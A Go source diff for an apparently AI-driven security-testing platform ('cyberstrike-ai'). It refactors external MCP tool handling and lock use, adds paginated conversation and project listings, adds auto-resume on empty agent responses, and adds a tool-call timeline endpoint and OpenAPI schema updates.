 // getExternalMCPTools 获取外部MCP工具列表（公共方法）
-// 返回 ToolConfigInfo 列表，已处理启用状态和描述信息
 func (h *ConfigHandler) getExternalMCPTools(ctx context.Context) []ToolConfigInfo {
-	var result []ToolConfigInfo
-
 	if h.externalMCPMgr == nil {
+		return nil
+	}
+	return h.getExternalMCPToolsWithManager(ctx, h.externalMCPMgr, h.pickToolDescription)
+}
+
+// getExternalMCPToolsWithManager 获取外部 MCP 工具（不持有 config 锁，供 GetTools 等热路径使用）
+func (h *ConfigHandler) getExternalMCPToolsWithManager(
+	ctx context.Context,
+	mgr *mcp.ExternalMCPManager,
+	pickDesc func(shortDesc, fullDesc string) string,
+) []ToolConfigInfo {
+	var result []ToolConfigInfo
+	if mgr == nil {
 		return result
 	}
 
-	// 使用较短的超时时间（5秒）进行快速失败，避免阻塞页面加载
 	timeoutCtx, cancel := context.WithTimeout(ctx, 5*time.Second)
 	defer cancel()
 
-	externalTools, err := h.externalMCPMgr.GetAllTools(timeoutCtx)
+	externalTools, err := mgr.GetAllTools(timeoutCtx)
 	if err != nil {
-		// 记录警告但不阻塞，继续返回已缓存的工具（如果有）
 		h.logger.Warn("获取外部MCP工具失败（可能连接断开），尝试返回缓存的工具",
 			zap.Error(err),
 			zap.String("hint", "如果外部MCP工具未显示，请检查连接状态或点击刷新按钮"),
 		)
 	}
 
-	// 如果获取到了工具（即使有错误），继续处理
 	if len(externalTools) == 0 {
 		return result
 	}
 
-	externalMCPConfigs := h.externalMCPMgr.GetConfigs()
+	externalMCPConfigs := mgr.GetConfigs()
 
 	for _, externalTool := range externalTools {
-		// 解析工具名称：mcpName::toolName
 		mcpName, actualToolName := h.parseExternalToolName(externalTool.Name)
 		if mcpName == "" || actualToolName == "" {
-			continue // 跳过格式不正确的工具
+			continue
 		}
 
-		// 计算启用状态
-		enabled := h.calculateExternalToolEnabled(mcpName, actualToolName, externalMCPConfigs)
-
-		// 处理描述信息
-		description := h.pickToolDescription(externalTool.ShortDescription, externalTool.Description)
+		enabled := h.calculateExternalToolEnabledWithManager(mcpName, actualToolName, externalMCPConfigs, mgr)
 
 		result = append(result, ToolConfigInfo{
 			Name:        actualToolName,
-			Description: description,
+			Description: pickDesc(externalTool.ShortDescription, externalTool.Description),
 			Enabled:     enabled,
 			IsExternal:  true,
 			ExternalMCP: mcpName,
@@ -1973,40 +2006,48 @@ func (h *ConfigHandler) parseExternalToolName(fullName string) (mcpName, toolNam
 
 // calculateExternalToolEnabled 计算外部工具的启用状态
 func (h *ConfigHandler) calculateExternalToolEnabled(mcpName, toolName string, configs map[string]config.ExternalMCPServerConfig) bool {
+	return h.calculateExternalToolEnabledWithManager(mcpName, toolName, configs, h.externalMCPMgr)
+}
+
+func (h *ConfigHandler) calculateExternalToolEnabledWithManager(
+	mcpName, toolName string,
+	configs map[string]config.ExternalMCPServerConfig,
+	mgr *mcp.ExternalMCPManager,
+) bool {
 	cfg, exists := configs[mcpName]
 	if !exists {
 		return false
 	}
 
-	// 首先检查外部MCP是否启用
 	if !cfg.ExternalMCPEnable {
-		return false // MCP未启用，所有工具都禁用
+		return false
 	}
 
-	// MCP已启用，检查单个工具的启用状态
-	// 如果ToolEnabled为空或未设置该工具，默认为启用（向后兼容）
-	if cfg.ToolEnabled == nil {
-		// 未设置工具状态，默认为启用
-	} else if toolEnabled, exists := cfg.ToolEnabled[toolName]; exists {
-		// 使用配置的工具状态
-		if !toolEnabled {
+	if cfg.ToolEnabled != nil {
+		if toolEnabled, exists := cfg.ToolEnabled[toolName]; exists && !toolEnabled {
 			return false
 		}
 	}
-	// 工具未在配置中，默认为启用
 
-	// 最后检查外部MCP是否已连接
-	client, exists := h.externalMCPMgr.GetClient(mcpName)
+	if mgr == nil {
+		return false
+	}
+	client, exists := mgr.GetClient(mcpName)
 	if !exists || !client.IsConnected() {
-		return false // 未连接时视为禁用
+		return false
 	}
 
 	return true
 }
 
-// pickToolDescription 根据 security.tool_description_mode 选择 short 或 full 描述并限制长度
+// pickToolDescription 根据 security.tool_description_mode 选择 short 或 full 描述并限制长度。
+// 调用方若已持有 h.mu 读锁，须直接读 mode 并调用 pickToolDescriptionWithMode，避免嵌套 RLock 死锁。
 func (h *ConfigHandler) pickToolDescription(shortDesc, fullDesc string) string {
-	useFull := strings.TrimSpace(strings.ToLower(h.config.Security.ToolDescriptionMode)) == "full"
+	return pickToolDescriptionWithMode(h.config.Security.ToolDescriptionMode, shortDesc, fullDesc)
+}
+
+func pickToolDescriptionWithMode(mode, shortDesc, fullDesc string) string {
+	useFull := strings.TrimSpace(strings.ToLower(mode)) == "full"
 	description := shortDesc
 	if useFull {
 		description = fullDesc
@@ -2021,23 +2062,22 @@ func (h *ConfigHandler) pickToolDescription(shortDesc, fullDesc string) string {
 
 // GetToolSchema 获取单个工具的 inputSchema（按需加载，避免列表接口返回大量 schema 数据）
 func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
-	h.mu.RLock()
-	defer h.mu.RUnlock()
-
 	toolName := c.Param("name")
 	if toolName == "" {
 		c.JSON(http.StatusBadRequest, gin.H{"error": "工具名称不能为空"})
 		return
 	}
 
-	// 检查是否为外部工具（格式：mcpName::toolName）
 	externalMCP := c.Query("external_mcp")
 	if externalMCP != "" {
-		// 外部 MCP 工具
-		if h.externalMCPMgr != nil {
+		h.mu.RLock()
+		externalMCPMgr := h.externalMCPMgr
+		h.mu.RUnlock()
+
+		if externalMCPMgr != nil {
 			ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
 			defer cancel()
-			externalTools, _ := h.externalMCPMgr.GetAllTools(ctx)
+			externalTools, _ := externalMCPMgr.GetAllTools(ctx)
 			fullName := externalMCP + "::" + toolName
 			for _, t := range externalTools {
 				if t.Name == fullName {
@@ -2050,8 +2090,12 @@ func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
 		return
 	}
 
-	// 内部工具：从 YAML 配置的 Parameters 构建
-	for _, tool := range h.config.Security.Tools {
+	h.mu.RLock()
+	securityTools := append([]config.ToolConfig(nil), h.config.Security.Tools...)
+	mcpServer := h.mcpServer
+	h.mu.RUnlock()
+
+	for _, tool := range securityTools {
 		if tool.Name == toolName {
 			c.JSON(http.StatusOK, gin.H{"input_schema": buildInputSchemaFromParams(tool.Parameters)})
 			return
@@ -2059,8 +2103,8 @@ func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
 	}
 
 	// MCP 注册工具（如知识检索）
-	if h.mcpServer != nil {
-		for _, mt := range h.mcpServer.GetAllTools() {
+	if mcpServer != nil {
+		for _, mt := range mcpServer.GetAllTools() {
 			if mt.Name == toolName {
 				c.JSON(http.StatusOK, gin.H{"input_schema": mt.InputSchema})
 				return

internal/handler/conversation.go

@@ -96,18 +96,44 @@ func (h *ConversationHandler) ListConversations(c *gin.Context) {
 	limit, _ := strconv.Atoi(limitStr)
 	offset, _ := strconv.Atoi(offsetStr)
 
-	if limit <= 0 || limit > 100 {
+	if limit <= 0 {
 		limit = 50
 	}
+	if limit > 1000 {
+		limit = 1000
+	}
 
-	conversations, err := h.db.ListConversations(limit, offset, search)
+	excludeGrouped := strings.TrimSpace(search) == "" &&
+		(c.Query("exclude_grouped") == "true" || c.Query("exclude_grouped") == "1")
+
+	var conversations []*database.Conversation
+	var total int
+	var err error
+	if excludeGrouped {
+		conversations, err = h.db.ListUngroupedConversations(limit, offset)
+		if err == nil {
+			total, err = h.db.CountUngroupedConversations()
+		}
+	} else {
+		conversations, err = h.db.ListConversations(limit, offset, search)
+		if err == nil {
+			total, err = h.db.CountConversations(search)
+		}
+	}
 	if err != nil {
 		h.logger.Error("获取对话列表失败", zap.Error(err))
 		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
 		return
 	}
-
-	c.JSON(http.StatusOK, conversations)
+	if conversations == nil {
+		conversations = []*database.Conversation{}
+	}
+	c.JSON(http.StatusOK, gin.H{
+		"conversations": conversations,
+		"total":         total,
+		"limit":         limit,
+		"offset":        offset,
+	})
 }
 
 // GetConversation 获取对话

internal/handler/eino_resume_segment.go

@@ -9,6 +9,8 @@ import (
 
 	"cyberstrike-ai/internal/agent"
 	"cyberstrike-ai/internal/multiagent"
+
+	"go.uber.org/zap"
 )
 
 func (h *AgentHandler) einoRunRetryMaxAttempts() int {
@@ -120,3 +122,59 @@ func (h *AgentHandler) handleEinoTransientRetryContinue(
 	}
 	return true, nil
 }
+
+// handleEinoEmptyResponseContinue 在 SSE 任务循环内处理「正常结束但无助手正文」；返回 exhausted=true 时由外层按成功结束（保留占位文案）。
+// 与临时错误重试一致：仅恢复轨迹并保留本请求原始 user 文案，不向模型注入续跑说明。
+func (h *AgentHandler) handleEinoEmptyResponseContinue(
+	baseCtx context.Context,
+	conversationID string,
+	result *multiagent.RunResult,
+	runErr error,
+	emptyResponseAttempts *int,
+	curHistory *[]agent.ChatMessage,
+	curFinalMessage *string,
+	segmentUserMessage string,
+	progressCallback func(eventType, message string, data interface{}),
+	sendProgress func(msg string, extra map[string]interface{}),
+) (handled bool, exhausted bool) {
+	if !errors.Is(runErr, multiagent.ErrEmptyResponseContinue) {
+		return false, false
+	}
+	maxAttempts := h.einoRunRetryMaxAttempts()
+	*emptyResponseAttempts++
+	if *emptyResponseAttempts > maxAttempts {
+		if h.logger != nil {
+			h.logger.Warn("eino empty response auto resume exhausted",
+				zap.String("conversationId", conversationID),
+				zap.Int("maxAttempts", maxAttempts))
+		}
+		if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
+			h.persistEinoAgentTraceForResume(conversationID, result)
+		}
+		return false, true
+	}
+	attemptNo := *emptyResponseAttempts
+	if h.logger != nil {
+		h.logger.Info("eino empty response, auto resume from trace",
+			zap.String("conversationId", conversationID),
+			zap.Int("attempt", attemptNo),
+			zap.Int("maxAttempts", maxAttempts))
+	}
+	if progressCallback != nil {
+		progressCallback("eino_empty_response_continue", fmt.Sprintf("未捕获到助手正文，正在基于轨迹自动续跑（%d/%d）…", attemptNo, maxAttempts), map[string]interface{}{
+			"conversationId": conversationID,
+			"source":         "eino",
+			"attempt":        attemptNo,
+			"maxAttempts":    maxAttempts,
+			"resumeKind":     "trace_segment",
+		})
+	}
+	h.applyEinoTransientRetrySegment(conversationID, result, curHistory, curFinalMessage, segmentUserMessage)
+	if sendProgress != nil {
+		sendProgress("已恢复上下文，正在继续推理…", map[string]interface{}{
+			"conversationId": conversationID,
+			"source":         "empty_response_continue",
+		})
+	}
+	return true, false
+}

internal/handler/eino_single_agent.go

@@ -178,6 +178,7 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
 
 	var cumulativeMCPExecutionIDs []string
 	var transientRunAttempts int
+	var emptyResponseAttempts int
 	// 同一请求内分段续跑时，主代理 iteration 事件按偏移累计，避免 UI 出现「第3轮 → 第1轮」回跳。
 	var mainIterationOffset int
 
@@ -237,9 +238,32 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
 			cumulativeMCPExecutionIDs = mergeMCPExecutionIDLists(cumulativeMCPExecutionIDs, result.MCPExecutionIDs)
 		}
 
+		handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
+			baseCtx, conversationID, result, runErr, &emptyResponseAttempts,
+			&curHistory, &curFinalMessage, segmentUserMessage, progressCallback,
+			func(msg string, extra map[string]interface{}) { sendEvent("progress", msg, extra) },
+		)
+		if exhaustedEmpty {
+			runErr = nil
+			transientRunAttempts = 0
+			timeoutCancel()
+			break
+		}
+		if handledEmpty {
+			mainIterationOffset += segmentMainIterationMax
+			transientRunAttempts = 0
+			timeoutCancel()
+			baseCtx, cancelWithCause = context.WithCancelCause(context.Background())
+			h.tasks.BindTaskCancel(conversationID, cancelWithCause)
+			taskCtx, timeoutCancel = context.WithTimeout(baseCtx, 600*time.Minute)
+			h.tasks.UpdateTaskStatus(conversationID, "running")
+			continue
+		}
+
 		if runErr == nil {
 			// 任一段成功完成后，重置临时错误重试窗口（次数/退避从头开始）。
 			transientRunAttempts = 0
+			emptyResponseAttempts = 0
 			timeoutCancel()
 			break
 		}
@@ -418,21 +442,49 @@ func (h *AgentHandler) EinoSingleAgentLoop(c *gin.Context) {
 		return
 	}
 
-	result, runErr := multiagent.RunEinoSingleChatModelAgent(
-		taskCtx,
-		h.config,
-		&h.config.MultiAgent,
-		h.agent,
-		h.logger,
-		prep.ConversationID,
-		prep.FinalMessage,
-		prep.History,
-		prep.RoleTools,
-		progressCallback,
-		chatReasoningToClientIntent(req.Reasoning),
-		h.projectBlackboardBlock(prep.ConversationID),
-	)
-	if runErr != nil {
+	curHist := prep.History
+	curMsg := prep.FinalMessage
+	var result *multiagent.RunResult
+	var runErr error
+	var transientRunAttempts int
+	var emptyResponseAttempts int
+	for {
+		result, runErr = multiagent.RunEinoSingleChatModelAgent(
+			taskCtx,
+			h.config,
+			&h.config.MultiAgent,
+			h.agent,
+			h.logger,
+			prep.ConversationID,
+			curMsg,
+			curHist,
+			prep.RoleTools,
+			progressCallback,
+			chatReasoningToClientIntent(req.Reasoning),
+			h.projectBlackboardBlock(prep.ConversationID),
+		)
+		handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
+			baseCtx, prep.ConversationID, result, runErr, &emptyResponseAttempts,
+			&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
+		)
+		if exhaustedEmpty {
+			runErr = nil
+			break
+		}
+		if handledEmpty {
+			continue
+		}
+		if runErr == nil {
+			break
+		}
+		if handled, fatalErr := h.handleEinoTransientRetryContinue(
+			baseCtx, prep.ConversationID, result, runErr, &transientRunAttempts,
+			&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
+		); handled {
+			continue
+		} else if fatalErr != nil {
+			runErr = fatalErr
+		}
 		if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
 			h.persistEinoAgentTraceForResume(prep.ConversationID, result)
 		}

internal/handler/external_mcp.go

@@ -64,10 +64,7 @@ func (h *ExternalMCPHandler) GetExternalMCPs(c *gin.Context) {
 		}
 
 		toolCount := toolCounts[name]
-		errorMsg := ""
-		if status == "error" {
-			errorMsg = h.manager.GetError(name)
-		}
+		errorMsg := externalMCPStatusError(h.manager, name, status)
 
 		result[name] = ExternalMCPResponse{
 			Config:    cfg,
@@ -115,20 +112,22 @@ func (h *ExternalMCPHandler) GetExternalMCP(c *gin.Context) {
 		}
 	}
 
-	// 获取错误信息
-	errorMsg := ""
-	if status == "error" {
-		errorMsg = h.manager.GetError(name)
-	}
-
 	c.JSON(http.StatusOK, ExternalMCPResponse{
 		Config:    cfg,
 		Status:    status,
 		ToolCount: toolCount,
-		Error:     errorMsg,
+		Error:     externalMCPStatusError(h.manager, name, status),
 	})
 }
 
+// externalMCPStatusError 在 error/disconnected 状态下返回最近错误（含断连原因）。
+func externalMCPStatusError(manager *mcp.ExternalMCPManager, name, status string) string {
+	if status != "error" && status != "disconnected" {
+		return ""
+	}
+	return manager.GetError(name)
+}
+
 // AddOrUpdateExternalMCP 添加或更新外部MCP配置
 func (h *ExternalMCPHandler) AddOrUpdateExternalMCP(c *gin.Context) {
 	var req AddOrUpdateExternalMCPRequest

internal/handler/external_mcp_test.go

@@ -271,6 +271,16 @@ func TestExternalMCPHandler_DeleteExternalMCP(t *testing.T) {
 	}
 }
 
+func TestExternalMCPStatusError(t *testing.T) {
+	manager := mcp.NewExternalMCPManager(zap.NewNop())
+	if got := externalMCPStatusError(manager, "x", "connected"); got != "" {
+		t.Fatalf("connected status should not return error, got %q", got)
+	}
+	if got := externalMCPStatusError(manager, "x", "connecting"); got != "" {
+		t.Fatalf("connecting status should not return error, got %q", got)
+	}
+}
+
 func TestExternalMCPHandler_GetExternalMCPs(t *testing.T) {
 	router, handler, _ := setupTestRouter()
 

internal/handler/monitor.go

@@ -77,8 +77,8 @@ func (h *MonitorHandler) Monitor(c *gin.Context) {
 
 	// 解析状态筛选参数
 	status := c.Query("status")
-	// 解析工具筛选参数
-	toolName := c.Query("tool")
+	// 解析工具筛选参数（兼容 mcp__tool 与内部 mcp::tool）
+	toolName := normalizeToolNameFilter(c.Query("tool"))
 
 	executions, total := h.loadExecutionsWithPagination(page, pageSize, status, toolName)
 	stats := h.loadStats()
@@ -113,7 +113,7 @@ func (h *MonitorHandler) loadExecutionsWithPagination(page, pageSize int, status
 			for _, exec := range allExecutions {
 				matchStatus := status == "" || exec.Status == status
 				// 支持部分匹配（模糊搜索）
-				matchTool := toolName == "" || strings.Contains(strings.ToLower(exec.ToolName), strings.ToLower(toolName))
+				matchTool := toolNameFilterMatches(exec.ToolName, toolName)
 				if matchStatus && matchTool {
 					filtered = append(filtered, exec)
 				}
@@ -143,7 +143,7 @@ func (h *MonitorHandler) loadExecutionsWithPagination(page, pageSize int, status
 			for _, exec := range allExecutions {
 				matchStatus := status == "" || exec.Status == status
 				// 支持部分匹配（模糊搜索）
-				matchTool := toolName == "" || strings.Contains(strings.ToLower(exec.ToolName), strings.ToLower(toolName))
+				matchTool := toolNameFilterMatches(exec.ToolName, toolName)
 				if matchStatus && matchTool {
 					filtered = append(filtered, exec)
 				}
@@ -327,6 +327,124 @@ func (h *MonitorHandler) GetStats(c *gin.Context) {
 	c.JSON(http.StatusOK, stats)
 }
 
+// CallsTimelinePoint 调用趋势数据点
+type CallsTimelinePoint struct {
+	T      time.Time `json:"t"`
+	Total  int       `json:"total"`
+	Failed int       `json:"failed"`
+}
+
+// CallsTimelineSummary 调用趋势汇总
+type CallsTimelineSummary struct {
+	TotalCalls int `json:"totalCalls"`
+	Peak       int `json:"peak"`
+}
+
+// CallsTimelineResponse 调用趋势响应
+type CallsTimelineResponse struct {
+	Range   string               `json:"range"`
+	Points  []CallsTimelinePoint `json:"points"`
+	Summary CallsTimelineSummary `json:"summary"`
+}
+
+type callsTimelineConfig struct {
+	rangeKey     string
+	duration     time.Duration
+	bucketSize   time.Duration
+	dailyBuckets bool
+}
+
+func parseCallsTimelineRange(raw string) (callsTimelineConfig, bool) {
+	switch strings.TrimSpace(raw) {
+	case "24h":
+		return callsTimelineConfig{rangeKey: "24h", duration: 24 * time.Hour, bucketSize: time.Hour, dailyBuckets: false}, true
+	case "30d":
+		return callsTimelineConfig{rangeKey: "30d", duration: 30 * 24 * time.Hour, bucketSize: 24 * time.Hour, dailyBuckets: true}, true
+	default:
+		return callsTimelineConfig{rangeKey: "7d", duration: 7 * 24 * time.Hour, bucketSize: time.Hour, dailyBuckets: false}, true
+	}
+}
+
+func truncateToBucket(t time.Time, bucketSize time.Duration, dailyBuckets bool) time.Time {
+	if dailyBuckets {
+		y, m, d := t.Date()
+		return time.Date(y, m, d, 0, 0, 0, 0, t.Location())
+	}
+	return t.Truncate(bucketSize)
+}
+
+func buildCallsTimelinePoints(cfg callsTimelineConfig, buckets map[time.Time]struct{ total, failed int }) []CallsTimelinePoint {
+	now := time.Now()
+	start := truncateToBucket(now.Add(-cfg.duration), cfg.bucketSize, cfg.dailyBuckets)
+	end := truncateToBucket(now, cfg.bucketSize, cfg.dailyBuckets)
+
+	points := make([]CallsTimelinePoint, 0)
+	for current := start; !current.After(end); current = current.Add(cfg.bucketSize) {
+		val := buckets[current]
+		points = append(points, CallsTimelinePoint{
+			T:      current,
+			Total:  val.total,
+			Failed: val.failed,
+		})
+	}
+	return points
+}
+
+func (h *MonitorHandler) loadCallsTimeline(cfg callsTimelineConfig) []CallsTimelinePoint {
+	since := time.Now().Add(-cfg.duration)
+	bucketMap := make(map[time.Time]struct{ total, failed int })
+
+	if h.db != nil {
+		dbBuckets, err := h.db.LoadCallsTimeline(since, cfg.dailyBuckets)
+		if err != nil {
+			h.logger.Warn("从数据库加载调用趋势失败，回退到内存数据", zap.Error(err))
+		} else {
+			for _, b := range dbBuckets {
+				key := truncateToBucket(b.BucketTime, cfg.bucketSize, cfg.dailyBuckets)
+				entry := bucketMap[key]
+				entry.total += b.Total
+				entry.failed += b.Failed
+				bucketMap[key] = entry
+			}
+			return buildCallsTimelinePoints(cfg, bucketMap)
+		}
+	}
+
+	for _, exec := range h.mcpServer.GetAllExecutions() {
+		if exec == nil || exec.StartTime.Before(since) {
+			continue
+		}
+		key := truncateToBucket(exec.StartTime, cfg.bucketSize, cfg.dailyBuckets)
+		entry := bucketMap[key]
+		entry.total++
+		if exec.Status == "failed" || exec.Status == "cancelled" {
+			entry.failed++
+		}
+		bucketMap[key] = entry
+	}
+	return buildCallsTimelinePoints(cfg, bucketMap)
+}
+
+// GetCallsTimeline 获取 MCP 工具调用趋势
+func (h *MonitorHandler) GetCallsTimeline(c *gin.Context) {
+	cfg, _ := parseCallsTimelineRange(c.Query("range"))
+	points := h.loadCallsTimeline(cfg)
+
+	summary := CallsTimelineSummary{}
+	for _, p := range points {
+		summary.TotalCalls += p.Total
+		if p.Total > summary.Peak {
+			summary.Peak = p.Total
+		}
+	}
+
+	c.JSON(http.StatusOK, CallsTimelineResponse{
+		Range:   cfg.rangeKey,
+		Points:  points,
+		Summary: summary,
+	})
+}
+
 // DeleteExecution 删除执行记录
 func (h *MonitorHandler) DeleteExecution(c *gin.Context) {
 	id := c.Param("id")
@@ -466,3 +584,35 @@ func (h *MonitorHandler) DeleteExecutions(c *gin.Context) {
 	h.logger.Info("尝试批量删除内存中的执行记录", zap.Int("count", len(request.IDs)))
 	c.JSON(http.StatusOK, gin.H{"message": "执行记录已删除（如果存在）"})
 }
+
+// normalizeToolNameFilter 将模型侧 mcp__tool 转为内部存储用的 mcp::tool。
+func normalizeToolNameFilter(name string) string {
+	name = strings.TrimSpace(name)
+	if name == "" {
+		return name
+	}
+	if strings.Contains(name, "::") {
+		return name
+	}
+	if idx := strings.Index(name, "__"); idx > 0 {
+		return name[:idx] + "::" + name[idx+2:]
+	}
+	return name
+}
+
+func toolNameFilterMatches(storedName, filter string) bool {
+	filter = strings.TrimSpace(filter)
+	if filter == "" {
+		return true
+	}
+	storedLower := strings.ToLower(storedName)
+	filterLower := strings.ToLower(filter)
+	if strings.Contains(storedLower, filterLower) {
+		return true
+	}
+	normFilter := strings.ToLower(normalizeToolNameFilter(filter))
+	if normFilter != filterLower && strings.Contains(storedLower, normFilter) {
+		return true
+	}
+	return strings.Contains(strings.ReplaceAll(storedLower, "::", "__"), filterLower)
+}

internal/handler/multi_agent.go

@@ -188,6 +188,7 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
 	// 同一 HTTP 流内多段 Run（如中断并继续）合并 MCP execution id，供最终 response / 库表与工具芯片展示完整列表
 	var cumulativeMCPExecutionIDs []string
 	var transientRunAttempts int
+	var emptyResponseAttempts int
 	// 同一请求内分段续跑时，主代理 iteration 事件按偏移累计，避免 UI 出现「第3轮 → 第1轮」回跳。
 	var mainIterationOffset int
 
@@ -249,9 +250,32 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
 			cumulativeMCPExecutionIDs = mergeMCPExecutionIDLists(cumulativeMCPExecutionIDs, result.MCPExecutionIDs)
 		}
 
+		handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
+			baseCtx, conversationID, result, runErr, &emptyResponseAttempts,
+			&curHistory, &curFinalMessage, segmentUserMessage, progressCallback,
+			func(msg string, extra map[string]interface{}) { sendEvent("progress", msg, extra) },
+		)
+		if exhaustedEmpty {
+			runErr = nil
+			transientRunAttempts = 0
+			timeoutCancel()
+			break
+		}
+		if handledEmpty {
+			mainIterationOffset += segmentMainIterationMax
+			transientRunAttempts = 0
+			timeoutCancel()
+			baseCtx, cancelWithCause = context.WithCancelCause(context.Background())
+			h.tasks.BindTaskCancel(conversationID, cancelWithCause)
+			taskCtx, timeoutCancel = context.WithTimeout(baseCtx, 600*time.Minute)
+			h.tasks.UpdateTaskStatus(conversationID, "running")
+			continue
+		}
+
 		if runErr == nil {
 			// 任一段成功完成后，重置临时错误重试窗口（次数/退避从头开始）。
 			transientRunAttempts = 0
+			emptyResponseAttempts = 0
 			timeoutCancel()
 			break
 		}
@@ -430,23 +454,51 @@ func (h *AgentHandler) MultiAgentLoop(c *gin.Context) {
 		return h.interceptHITLForEinoTool(ctx, cancelWithCause, prep.ConversationID, prep.AssistantMessageID, nil, toolName, arguments)
 	})
 
-	result, runErr := multiagent.RunDeepAgent(
-		taskCtx,
-		h.config,
-		&h.config.MultiAgent,
-		h.agent,
-		h.logger,
-		prep.ConversationID,
-		prep.FinalMessage,
-		prep.History,
-		prep.RoleTools,
-		progressCallback,
-		h.agentsMarkdownDir,
-		strings.TrimSpace(req.Orchestration),
-		chatReasoningToClientIntent(req.Reasoning),
-		h.projectBlackboardBlock(prep.ConversationID),
-	)
-	if runErr != nil {
+	curHist := prep.History
+	curMsg := prep.FinalMessage
+	var result *multiagent.RunResult
+	var runErr error
+	var transientRunAttempts int
+	var emptyResponseAttempts int
+	for {
+		result, runErr = multiagent.RunDeepAgent(
+			taskCtx,
+			h.config,
+			&h.config.MultiAgent,
+			h.agent,
+			h.logger,
+			prep.ConversationID,
+			curMsg,
+			curHist,
+			prep.RoleTools,
+			progressCallback,
+			h.agentsMarkdownDir,
+			strings.TrimSpace(req.Orchestration),
+			chatReasoningToClientIntent(req.Reasoning),
+			h.projectBlackboardBlock(prep.ConversationID),
+		)
+		handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
+			baseCtx, prep.ConversationID, result, runErr, &emptyResponseAttempts,
+			&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
+		)
+		if exhaustedEmpty {
+			runErr = nil
+			break
+		}
+		if handledEmpty {
+			continue
+		}
+		if runErr == nil {
+			break
+		}
+		if handled, fatalErr := h.handleEinoTransientRetryContinue(
+			baseCtx, prep.ConversationID, result, runErr, &transientRunAttempts,
+			&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
+		); handled {
+			continue
+		} else if fatalErr != nil {
+			runErr = fatalErr
+		}
 		if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
 			h.persistEinoAgentTraceForResume(prep.ConversationID, result)
 		}

internal/handler/openapi.go

@@ -237,7 +237,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
 						"status": map[string]interface{}{
 							"type":        "string",
 							"description": "状态",
-							"enum":        []string{"open", "closed", "fixed"},
+							"enum":        []string{"open", "confirmed", "fixed", "false_positive", "ignored"},
 						},
 						"target": map[string]interface{}{
 							"type":        "string",
@@ -575,7 +575,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
 						"status": map[string]interface{}{
 							"type":        "string",
 							"description": "状态",
-							"enum":        []string{"open", "closed", "fixed"},
+							"enum":        []string{"open", "confirmed", "fixed", "false_positive", "ignored"},
 						},
 						"type": map[string]interface{}{
 							"type":        "string",
@@ -809,8 +809,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
 						"jpeg_quality":                 map[string]interface{}{"type": "integer", "description": "JPEG 质量 60-100"},
 						"max_payload_bytes":            map[string]interface{}{"type": "integer", "description": "送 API 体积上限（字节）"},
 						"skip_preprocess_below_bytes":  map[string]interface{}{"type": "integer", "description": "低于该字节且尺寸合规时可原图直传；0=始终压缩"},
-						"detail":                       map[string]interface{}{"type": "string", "enum": []string{"low", "high", "auto"}, "description": "OpenAI 兼容 image detail"},
-						"allowed_roots":                map[string]interface{}{"type": "array", "items": map[string]interface{}{"type": "string"}, "description": "额外允许读取的绝对路径根"},
+						"detail": map[string]interface{}{"type": "string", "enum": []string{"low", "high", "auto"}, "description": "OpenAI 兼容 image detail"},
 					},
 				},
 				"AnalyzeImageToolCall": map[string]interface{}{
@@ -819,7 +818,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
 					"properties": map[string]interface{}{
 						"path": map[string]interface{}{
 							"type":        "string",
-							"description": "图片路径（cwd、chat_uploads、result_storage_dir 或 allowed_roots 下）",
+							"description": "图片绝对路径或相对于进程工作目录的路径",
 						},
 						"question": map[string]interface{}{
 							"type":        "string",
@@ -1345,7 +1344,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
 				"delete": map[string]interface{}{
 					"tags":        []string{"对话管理"},
 					"summary":     "删除对话",
-					"description": "删除指定的对话及其所有相关数据（消息、漏洞等）。**此操作不可恢复**。",
+					"description": "删除指定的对话及其会话数据（消息、攻击链等）。**漏洞记录会保留**，仅解除与会话的关联。**此操作不可恢复**。",
 					"operationId": "deleteConversation",
 					"parameters": []map[string]interface{}{
 						{

internal/handler/project.go

@@ -61,12 +61,40 @@ func (h *ProjectHandler) CreateProject(c *gin.Context) {
 	c.JSON(http.StatusOK, created)
 }
 
+// GetDashboardSummary GET /api/projects/dashboard-summary
+func (h *ProjectHandler) GetDashboardSummary(c *gin.Context) {
+	limit, _ := strconv.Atoi(strings.TrimSpace(c.DefaultQuery("fact_limit", "5")))
+	if limit <= 0 {
+		limit = 5
+	}
+	if limit > 50 {
+		limit = 50
+	}
+	summary, err := h.db.GetProjectDashboardSummary(limit)
+	if err != nil {
+		h.logger.Error("获取项目仪表盘摘要失败", zap.Error(err))
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	if summary.RecentFacts == nil {
+		summary.RecentFacts = []database.ProjectDashboardFact{}
+	}
+	c.JSON(http.StatusOK, summary)
+}
+
 // ListProjects GET /api/projects
 func (h *ProjectHandler) ListProjects(c *gin.Context) {
 	status := c.Query("status")
-	limit, _ := strconv.Atoi(c.DefaultQuery("limit", "200"))
+	search := c.Query("search")
+	limit, _ := strconv.Atoi(c.DefaultQuery("limit", "50"))
 	offset, _ := strconv.Atoi(c.Query("offset"))
-	list, err := h.db.ListProjects(status, limit, offset)
+	if limit <= 0 {
+		limit = 50
+	}
+	if limit > 500 {
+		limit = 500
+	}
